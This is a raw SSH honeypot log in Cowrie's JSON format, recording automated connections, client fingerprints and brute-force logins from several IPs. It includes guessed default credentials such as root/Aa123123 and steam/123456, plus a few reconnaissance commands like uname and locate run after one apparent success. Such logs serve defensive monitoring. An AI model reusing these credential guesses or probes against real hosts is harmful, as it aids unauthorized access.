{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:26.254688Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:26.588470Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:26.591698Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:26.815674Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:27.155144Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:27.158634Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:27.320121Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39784,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef9c80c08187","protocol":"ssh","message":"New connection: 47.86.95.62:39784 (10.17.0.5:22) [session: ef9c80c08187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:31.405451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:31.615276Z","src_ip":"47.86.95.62","session":"ef9c80c08187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:32.097611Z","src_ip":"47.86.95.62","session":"ef9c80c08187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:35.880419Z","src_ip":"47.86.95.62","session":"ef9c80c08187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:37.093640Z","src_ip":"47.86.95.62","session":"ef9c80c08187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39790,"dst_ip":"10.17.0.5","dst_port":22,"session":"749d60b3b715","protocol":"ssh","message":"New connection: 47.86.95.62:39790 (10.17.0.5:22) [session: 749d60b3b715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:39.331245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:39.336133Z","src_ip":"47.86.95.62","session":"749d60b3b715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:39.544259Z","src_ip":"47.86.95.62","session":"749d60b3b715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:40.508625Z","src_ip":"47.86.95.62","session":"749d60b3b715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:41.713781Z","src_ip":"47.86.95.62","session":"749d60b3b715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41104,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf4a79a3df57","protocol":"ssh","message":"New connection: 47.86.95.62:41104 (10.17.0.5:22) [session: bf4a79a3df57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:57.401803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:57.575368Z","src_ip":"47.86.95.62","session":"bf4a79a3df57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:58.419730Z","src_ip":"47.86.95.62","session":"bf4a79a3df57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.201.104.216","src_port":54010,"dst_ip":"10.17.0.5","dst_port":22,"session":"f93313314369","protocol":"ssh","message":"New connection: 101.201.104.216:54010 (10.17.0.5:22) [session: f93313314369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:59.117475Z"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:00.076253Z","src_ip":"47.86.95.62","session":"bf4a79a3df57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:00.087002Z","src_ip":"101.201.104.216","session":"f93313314369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:05.115846Z","src_ip":"47.86.95.62","session":"bf4a79a3df57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52290,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b6a9f21f847","protocol":"ssh","message":"New connection: 47.86.95.62:52290 (10.17.0.5:22) [session: 6b6a9f21f847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:11.207678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:11.212974Z","src_ip":"47.86.95.62","session":"6b6a9f21f847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:11.414375Z","src_ip":"47.86.95.62","session":"6b6a9f21f847","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:12.015264Z","src_ip":"47.86.95.62","session":"6b6a9f21f847","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:12.571600Z","src_ip":"47.86.95.62","session":"6b6a9f21f847","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:12.574735Z","src_ip":"47.86.95.62","session":"6b6a9f21f847","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:12.778506Z","src_ip":"47.86.95.62","session":"6b6a9f21f847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:13.223085Z","src_ip":"47.86.95.62","session":"6b6a9f21f847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":11826,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff7b2546362","protocol":"ssh","message":"New connection: 165.154.23.26:11826 (159.203.135.109:22) [session: dff7b2546362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:14.438714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:14.447391Z","src_ip":"165.154.23.26","session":"dff7b2546362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:14.662154Z","src_ip":"165.154.23.26","session":"dff7b2546362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shrvn6xd","password":"KZ+1E0C~_qz+E2wt64ko","message":"login attempt [shrvn6xd/KZ+1E0C~_qz+E2wt64ko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:15.532300Z","src_ip":"165.154.23.26","session":"dff7b2546362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52294,"dst_ip":"10.17.0.5","dst_port":22,"session":"93b7e085beb3","protocol":"ssh","message":"New connection: 47.86.95.62:52294 (10.17.0.5:22) [session: 93b7e085beb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:16.109663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:16.113936Z","src_ip":"47.86.95.62","session":"93b7e085beb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:16.407695Z","src_ip":"47.86.95.62","session":"93b7e085beb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"56.0","message":"Connection lost after 56.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:16.678850Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:16.757164Z","src_ip":"165.154.23.26","session":"dff7b2546362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:17.048018Z","src_ip":"47.86.95.62","session":"93b7e085beb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:18.263195Z","src_ip":"47.86.95.62","session":"93b7e085beb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18120,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d6a3f5e75a1","protocol":"ssh","message":"New connection: 194.59.206.2:18120 (159.203.135.109:22) [session: 9d6a3f5e75a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:30.744322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:30.750406Z","src_ip":"194.59.206.2","session":"9d6a3f5e75a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:30.908214Z","src_ip":"194.59.206.2","session":"9d6a3f5e75a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:31.033396Z","src_ip":"194.59.206.2","session":"9d6a3f5e75a1","protocol":"ssh"}
